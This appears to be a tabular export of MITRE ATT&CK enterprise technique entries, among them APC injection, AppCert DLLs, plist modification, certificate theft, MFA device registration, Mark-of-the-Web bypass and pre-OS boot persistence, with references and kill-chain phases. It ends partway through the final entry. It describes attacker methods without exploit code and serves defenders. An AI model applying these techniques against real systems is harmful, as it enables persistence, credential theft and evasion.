A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. | enterprise-attack | Asynchronous Procedure Call | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/004 external_id: T1055.004 source_name: Microsoft APC description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx source_name: CyberBit Early Bird Apr 2018 description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018. url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ source_name: ENSIL AtomBombing Oct 2016 description: Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017. url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows source_name: Microsoft Atom Table description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx source_name: Elastic Process Injection July 2017 description: Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process | kill_chain_name: mitre-attack phase_name: privilege-escalation | Windows |
Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)
Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)
Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)
Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. | enterprise-attack | Traffic Duplication | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1020/001 external_id: T1020.001 source_name: AWS Traffic Mirroring description: Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022. url: https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html source_name: Cisco Traffic Mirroring description: Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020. url: https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html source_name: GCP Packet Mirroring description: Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022. url: https://cloud.google.com/vpc/docs/packet-mirroring source_name: Juniper Traffic Mirroring description: Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020. url: https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html source_name: Azure Virtual Network TAP description: Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022. url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A | kill_chain_name: mitre-attack phase_name: exfiltration | Network |
Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).
For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application’s <code>info.plist</code> file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback) | enterprise-attack | Plist File Modification | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1647 external_id: T1647 source_name: eset_osx_flashback description: ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022. url: https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf source_name: fileinfo plist file description description: FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021. url: https://fileinfo.com/extension/plist source_name: wardle chp2 persistence description: Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022. url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf | kill_chain_name: mitre-attack phase_name: defense-evasion | macOS |
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. | enterprise-attack | AppCert DLLs | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/009 external_id: T1546.009 source_name: Elastic Process Injection July 2017 description: Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 source_name: Sysinternals AppCertDlls Oct 2007 description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017. url: https://forum.sysinternals.com/appcertdlls_topic12546.html | kill_chain_name: mitre-attack phase_name: persistence | Windows |
Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)
Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)
In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. | enterprise-attack | Email Forwarding Rule | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1114/003 external_id: T1114.003 source_name: Mac Forwarding Rules description: Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021. url: https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac source_name: Pfammatter - Hidden Inbox Rules description: Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. url: https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2 description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ source_name: Microsoft Mail Flow Rules 2023 description: Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023. url: https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules source_name: US-CERT TA18-068A 2018 description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019. url: https://www.us-cert.gov/ncas/alerts/TA18-086A | kill_chain_name: mitre-attack phase_name: collection | Office 365 |
Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)
In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)
Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection. | enterprise-attack | Data Staged | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1074 external_id: T1074 source_name: Mandiant M-Trends 2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 source_name: PWC Cloud Hopper April 2017 description: PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. url: https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf | kill_chain_name: mitre-attack phase_name: collection | Windows |
Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)
Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)
Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.
Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned) | enterprise-attack | Steal or Forge Authentication Certificates | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1649 external_id: T1649 source_name: GitHub GhostPack Certificates description: HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022. url: https://github.com/GhostPack/SharpDPAPI#certificates source_name: Microsoft AD CS Overview description: Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022. url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11) source_name: Medium Certified Pre Owned description: Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022. url: https://posts.specterops.io/certified-pre-owned-d95910965cd2 source_name: SpecterOps Certified Pre Owned description: Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022. url: https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf source_name: O365 Blog Azure AD Device IDs description: Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022. url: https://o365blog.com/post/deviceidentity/ source_name: GitHub CertStealer description: TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022. url: https://github.com/TheWover/CertStealer source_name: APT29 Deep Look at Credential Roaming description: Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022. url: https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming | kill_chain_name: mitre-attack phase_name: credential-access | Windows |
Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.
MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)
Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)
Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT) | enterprise-attack | Device Registration | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/005 external_id: T1098.005 source_name: CISA MFA PrintNightmare description: Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a source_name: Mandiant APT29 Microsoft 365 2022 description: Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023. url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft source_name: AADInternals - Conditional Access Bypass description: Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022. url: https://o365blog.com/post/mdm source_name: AADInternals - BPRT description: Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022. url: https://o365blog.com/post/bprt/ source_name: AADInternals - Device Registration description: Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022. url: https://o365blog.com/post/devices/ source_name: DarkReading FireEye SolarWinds description: Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022. url: https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack source_name: Microsoft - Device Registration description: Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA. Retrieved March 4, 2022. url: https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa source_name: Microsoft DEV-0537 description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022. url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ | kill_chain_name: mitre-attack phase_name: privilege-escalation | Azure AD |
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.
Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>).(Citation: US-CERT-TA18-106A) | enterprise-attack | System Network Connections Discovery | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1049 external_id: T1049 source_name: Amazon AWS VPC Guide description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019. url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html source_name: Microsoft Azure Virtual Network Overview description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview source_name: Google VPC Overview description: Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019. url: https://cloud.google.com/vpc/docs/vpc source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A | kill_chain_name: mitre-attack phase_name: discovery | Windows |
Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.
Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)
By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) | enterprise-attack | Compromise Infrastructure | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584 external_id: T1584 source_name: amnesty_nso_pegasus description: Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022. url: https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/ source_name: Sysdig Proxyjacking description: Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023. url: https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/ source_name: FireEye DNS Hijack 2019 description: Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020. url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html source_name: ICANNDomainNameHijacking description: ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017. url: https://www.icann.org/groups/ssac/documents/sac-007-en source_name: Koczwara Beacon Hunting Sep 2021 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 source_name: Mandiant APT1 description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf source_name: Talos DNSpionage Nov 2018 description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html source_name: NSA NCSC Turla OilRig description: NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020. url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf source_name: Mandiant SCANdalous Jul 2020 description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation source_name: ThreatConnect Infrastructure Dec 2020 description: ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. url: https://threatconnect.com/blog/infrastructure-research-hunting/ source_name: FireEye EPS Awakens Part 2 description: Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016. url: https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020) | enterprise-attack | Mark-of-the-Web Bypass | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1553/005 external_id: T1553.005 source_name: Beek Use of VHD Dec 2020 description: Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021. url: https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316 source_name: Outflank MotW 2020 description: Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021. url: https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/ source_name: Intezer Russian APT Dec 2020 description: Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021. url: https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/ source_name: Microsoft Zone.Identifier 2020 description: Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021. url: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8 source_name: Disable automount for ISO description: wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022. url: https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7 | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.
Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks) | enterprise-attack | Disable Crypto Hardware | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1600/002 external_id: T1600.002 source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 | kill_chain_name: mitre-attack phase_name: defense-evasion | Network |
Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)
Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. | enterprise-attack | Pre-OS Boot | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1542 external_id: T1542 source_name: ITWorld Hard Disk Health Dec 2014 description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html source_name: Wikipedia Booting description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019. url: https://en.wikipedia.org/wiki/Booting | kill_chain_name: mitre-attack phase_name: persistence | Linux |
Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
